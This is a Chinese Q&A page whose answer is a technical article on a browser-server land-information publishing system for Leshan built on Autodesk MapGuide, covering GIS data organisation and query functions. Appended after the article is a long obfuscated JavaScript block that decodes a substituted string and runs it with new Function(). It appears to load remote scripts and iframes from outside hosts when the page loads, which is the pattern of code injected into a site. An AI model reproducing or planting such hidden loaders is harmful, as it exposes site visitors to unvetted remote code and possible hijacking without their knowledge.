采用B-S模式的土地信息发布系统研究与应用

2025-03-11 23:55:11
推荐回答(1个)
回答1:

1 概 述

地理信息系统(GIS)是近几十年来发展起来的一门综合应用系统,它能把各种信息与地理位置和有关的视图结合起来,并把地理学、几何学、计算机科学、CAD技术、遥感、GPS技术、多媒体技术及虚拟现实技术等融为一体,利用计算机图形与数据库技术来采集、存储、编辑、显示、转换、分析和输出地理图形及其属性数据。随着我国的数字城市建设的全面铺开,GIS系统在土地、规划、房管、通讯、市政工程等城市管理领域得到了广泛的应用,系统结构也从单机版应用、局域网应用,进入了全新的互联网时代。从网络结构来讲,浏览器-服务器模式(B

-S)已经逐步取代传统的客户-服务器模式(C-S),以四通八达、无处不在的互联网为载体,突破时空的限制,越来越引起广泛的注意。

在我国土地资源管理部门日常工作中,大量的信息来源于海量的地图数据(宗地图、征地界线图、用地红线图、道路红线图、基准地价图、土地利用规划图等)和宗地登记表册信息(使用者、面积、使用年限、用途等),存放载体为纸介质,这些年,信息化进一步得到加强,已经有相当的数据通过建立地籍管理信息系统,土地利用现状数据库等方式,转变为数字化信息。如何使这些信息在保密安全的前提下得到最广泛的共享和最方便的查询,将直接决定着土地资源管理部门的工作效率和工作质量。本文通过对MAPGUIDE软件结构的分析,结合土地管理工作的特点,提出了一个采用浏览器-服务器模式(B-S)模式的土地信息发布系统解决方案和数据组织模型。

MapGuide是美国Autodesk 公司推出的网上地图发布软件,能接收多种矢量、栅格数据格式,并依照图形表达、浏览、信息检索的具体要求,采用分层、分级管理空间数据与栅格数据、分类组织属性数据的方式,在广域网和局域网上实现地图制作、发布。它不仅能通过网络查询地图资料及属性信息,也可以访问相关的数据库资源,另外,还可以从当前地图目标跳转到相关主页,使GIS用户可以随时随地借助互联网共享所有类型的数据资源,突破了过去矢量地图在Internet网上不能快速浏览的局限,充分体现了网络地图的优势。

2 MapGuide环境的基本构成与工作方式

主要由三部分组成,它们是Autodesk MapGuide(Plug-in or ActiveX),Autodesk MapGuide Author以及Autodesk MapGuide Server。其他附属数据处理转换工具有SDF Loader、Raster Workshop、SDF Toolkit。在这些软件的共同作用下,采用空间数据与属性数据分开存储的方式,配合后台关系型数据库支持和ASP编程,可以非常方便快捷安全地实现地图图形网上浏览,并可以在一个网页里面实现地图空间数据和宗地属性信息的同步浏览和交互式访问。

其中,应用工具中Raster Workshop主要是用来转换、处理栅格图像,比如航片、卫片或者扫描地图,可以把图片按照指定的大小尺寸和矢量图形进行套接,以及栅格图像之间的无缝拼接。SDF Loader和SDF Toolkit主要用来转换不同的矢量数据源,比如AutoCAD的DWG格式(这也是目前土地管理部门采用最多的矢量地图空间数据格式),以及Arc/Info的SHP格式。通过这种格式转换,就可以转变为MapGuide自己所独有的高压缩比格式SDF(Spatial Data Files)文件,然后再通过Author 编制成为网络发布的地图源文件MWF(Map Window Files),由MapGuide Server进行面对互联网的信息发布,再由客户端浏览器中的Autodesk MapGuide(Plug-in or ActiveX)进行地图信息的解释和还原,完成地图图形的发布。下面着重介绍三个主要部分:

(1)Autodesk MapGuide(Plug-in or ActiveX)是终端用户使用的Internet浏览器上的插件或控件,负责在WWW浏览器中解释传输过来的矢量地图窗口文件(MWF)。用户借助该插件/控件就可以访问地图和GIS站点,由于其采用的是矢量地图,可以分层来操作,从而减少地图大量数据从服务器到客户端数据传输中的“瓶颈”问题,还可以随着地图比例尺的增加,地图内容详细程度不断提高;另外,终端用户可以通过网页中地图热点进行其他相关资料查询、浏览。

(2)MapGuide Author是制作用于网上发布的GIS信息,用来针对被MapGuide Server服务的数据,在Web站点上创建、修改和发布基于矢量的交互式地图的工具。终端用户浏览到的地图被分成点、线、面、注记四种要素类型的图层,每层数据是一种要素类型的集合。

(3)MapGuide Server则是提供各种GIS数据在网上发布的服务器软件,是运行于NT4.0 Server或Windows 2000 Server上的地图数据服务器软件。通过配置Web服务器,使MapGuide Server能得到由Web服务器转来的访问请求,并返回结果给Web服务器,再由Web服务器送给用户端,每个MapGuide Server支持并发链接访问位于网络上和本机上的多个地图库文件和通过ODBC多个关系数据库,真正实现了数据的分布式访问。

3 土地信息数据的分类

土地管理部门日常使用的各种纸质专题图、地形图,只能表达某一特定比例尺的图形信息,其负载量受到制约,而电子地图、网络地图除了把不同历史时期、多种比例尺、不同详细程度的地图信息叠加整合在一起外,还可以显示相关的文字、图片及其他多媒体信息,以及所链接外部数据库(存放宗地相关的各种文字、数据信息)等等,这就要求我们必须对自己关心的图形数据、属性数据、多媒体信息进行严格的组织分类和优化。

3.1 图形数据

图形数据可表现为多种数字形式,日常使用的电子地图可以分为矢量形式与栅格形式。

(1)矢量数据强调数据之间的关联性,即拓朴关系,包括点线面之间的各种两两关系,这种格式的特点一是强调图形对象之间的相互关系,比如道路和宗地的相邻关系。二是以数学方程的方式来记录图形对象的形状,所以同样的信息量,其所需的储存空间要小的多,对网络带宽与传输速度的要求较低,因此这是建立土地信息发布信息系统应该优先考虑的图形文件格式,在MapGuide 里面SDF文件格式就是矢量形式。

(2)栅格形式,是按水平扫描线或条带组织数据的,因而在地理实体信息串与数据的逻辑组织之间没有直接联系,但是由于栅格数据使用区域填充和真彩色等技术,使它看起来更像“真正的地图”(纸图)。除此以外,栅格图像还有其数字化工作量小,成本低的优势,在纸图转换成数字地图的过程中,可以把有些不太强调拓朴关系的专题图通过扫描的方式,直接转换成计算机可以接收的位图,缺点是图形占用空间大,不能按图形对象和相关属性数据库连接。一般把这种位图文件(如地貌晕渲图或航空影像图)作为地形图的背景层,与矢量地图匹配,可以展示“真实”的地貌形态。

3.2 属性数据

属性数据主要以数据库的形式出现,图形数据与属性数据一般采用分离组织的方法存储,以增强整个系统数据处理的灵活性。这是以往地图数据库系统中数据的组织原则。在土地信息中,此类数据一般来源地籍管理中的各种登记表册,主要表现形式为数字或者文本,值得欣慰的是,目前各级土地管理部门一般都已经建立地籍信息系统,此类信息大部分已经进入数据库中,如乐山市地籍管理信息系统就是采用地星城镇地籍管理信息系统,宗地属性信息都存放在DBF数据库中,因此在建立土地信息发布系统时,仅需要通过ODBC把属性信息和图形对象关联在一起就行了。

MapGuide对空间数据采用传统的主体文件+索引文件的组织形式,在数据传输上采用CGI技术,解释客户端请求,并由Server经过计算后,把结果通过Web服务器发送到浏览器上,实现网上地图的可视化。另外它还可以内置SQL,实现从属性到空间和从空间到属性的双向信息查询。

4 土地信息数据的获取

4.1 图形信息

就乐山市中心城区土地管理工作的现状和要求,可以收集到1∶500地籍图、1∶2千道路红线图、1∶5千基准地价图、1∶1万土地利用总体规划图、1∶1千航空影像图。其中1∶500地籍图为矢量图,1∶1千航空影像图为栅格图,其余三种为纸介质图,可以采用扫描和矢量化两种数字化方式转换为数字地图。

4.2 属性信息

主要来源于城镇地籍测绘成果中的宗地信息部分,包括登记发证过程中的申请表、地籍调查表和审批表的内容,可以按照数据库结构设计的要求,从地籍管理信息系统中直接转换过来。

5 土地信息数据的组织

5.1 空间数据组织

基于以上数据格式特点,在网上土地信息发布数据组织阶段,应根据不同的数据类型,采取不同的数据分级、分类、分块原则。

5.1.1 矢量图形数据的组织

(1)分类原则。MapGuide环境处理矢量数据是按要素类型进行分类,点、线、面和注记数据都可以以SDF文件格式出现。把需要发布的专题图、地形图中包含的图面要素按照不同的比例尺分类提取出来,作为图形显示的不同层,这样就可以通过控制不同的层的显示,在客户端让不同的用户在不同的比例尺下看到自己关心的信息。以1∶500比例尺为例,可以从城镇地籍测绘成果图中,提取出行政区划、街道、宗地界线、建筑物、水域、控制点、宗地号、绿地以及相应标注等多种图层,每个图层都独立成为一个文件,成为电子地图的一层,把所有图层叠加在一起,就是一幅完整的地籍图。用户可以就自己关心的信息,打开或者关闭相应的图层,这样不同的图层组合形成不同的专题图,既简化了图面要素,又减少了图形传输的数据量,提高了浏览速度。

(2)分级原则。在不同的比例尺下,地图所表达的信息量是不同的。在1∶1万的比例尺下,不可能表示出街道乃至建筑物,而在1∶500的比例尺下,可以清楚地表示出房屋的阳台、乃至电杆。在有限的显示屏幕上同时表达不同比例尺下的各种信息,不能突出主题,是不现实的,因此,尽管同一个地图对象可能来源于多种比例尺,但是必须控制在什么样的比例尺下,它是否显示,以什么样的图形符号显示。

5.1.2 栅格数据(主要是航片、卫片、地貌晕渲图)分块组织

针对航片、卫片等遥感资料数据量大,网上传输速度慢的特点,采取图形分块、显示分级的数据处理技术。其主要依据是根据显示区域大小,将现有栅格图像划分成多个图形块,每个图形块再依据其所表达信息量多少,确定显示比例尺范围。由于栅格数据经过变形纠正后采用的是1∶1千的分幅管理模式,所以可以以每幅影像图作为一个图形块。这样在网络上传输数据时,只传输可视范围内的影像文件数据,大大的减少传输量,提高浏览速度。

5.1.3 图形、图像配准

(1)矢量数据配准。不同比例尺的矢量地图若来源于纸质地图,由于纸质地图在地图编绘阶段的取舍综合不同,必然存在一定的变形和误差,同样区域的数据应该保证具有一致性。具体实施阶段,可以1∶500地籍图为标准,把1∶5千基准地价图、1∶2千道路红线图、1∶1万用地规划图等中小比例尺专题图进行纠正,保证能够正常套接。

(2)矢栅数据配准。栅格数据格式作为地理底图,应该具有地理属性,这是矢、栅地图匹配的基本条件。图形与图像数据之间的格式差异,可以将图像配准到矢量数据,也可以将矢量图形投影到栅格数据坐标系中。采用将航空摄影影像图拉伸和1∶500地籍图相匹配是一种简便的处理办法。

5.2 属性数据和空间数据的连接

土地信息除了地块形状等空间信息外,还有很大一部分是存放在数据库中的文字、数字等属性信息,对于每一个宗地,只有属性信息和空间信息结合在一起才是完整的宗地信息,如何在客户端同时看到这两种存放形式截然不同的信息呢?MapGuide提供了这样的解决方案:在SDF Loader转换矢量图形的时候,可以为每一个地图对象(如宗地号、宗地名称等)赋予一个关键值,类似于数据库中表的主键,通过它就可以和数据库中指定表中的相同主键的记录自动连接在一起。这样在点击地图对象的时候,就可以方便地访问到与之相关联的数据库属性信息,反之如果知道属性信息,也可以非常方便地找到与之相互关联的图形对象并展示出来。

5.3 土地信息发布信息系统结构

图1 土地发布信息系统拓朴结构图

6 系统功能

6.1 地图显示内容选择

(1)可以任意叠加所感兴趣的地图图层。

(2)可以控制去掉无关图层。

6.2 地图数据范围定位

(1)按照图幅号定位(1∶500)。

(2)根据宗地属性快速定位。

(3)根据城市坐标快速定位。

6.3 空间数据、属性数据查询

(1)根据宗地空间信息查询相应属性信息(使用者、使用年限、用途等)。

(2)根据宗地属性信息查询相应空间信息。

(3)查询土地分等定级情况,直观显示每宗地的基准地价。

6.4 图上量算

(1)地图对象之间距离量算。

(2)宗地面积量算。

6.5 通过用户名和密码的管理对客户端访问设置不同权限

7 系统应用价值

(1)高度集成土地管理部门各科室各种格式的图件、数据,达到最大限度的共享。

(2)突破以前基础图件分幅管理的局限,实现不同比例尺、不同数据源的地图横向拼接与纵向的叠加,提高查询速度。

(3)打破时空的限制,实现土地信息异地网上查询。

(4)实现宗地空间数据和属性数据的同步查询。

(5)计算任意地块的面积、边长,为土地招商、市政建设提供科学翔实数据。

(6)系统安全高效,客户端只有浏览、查询权限,不能对数据进行修改,服务器只向浏览器动态传输显示窗口范围内有权浏览的图层,不是把所有地图数据一并传送到客户端,避免了地图数据流失泄密。

(7)建成乐山数字城市空间数据基础平台,其他公共管理部门在本系统基础上,只需添加相应专业图层,即可建成自己的GIS系统,如煤气、公安等,最大限度地避免重复建设。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();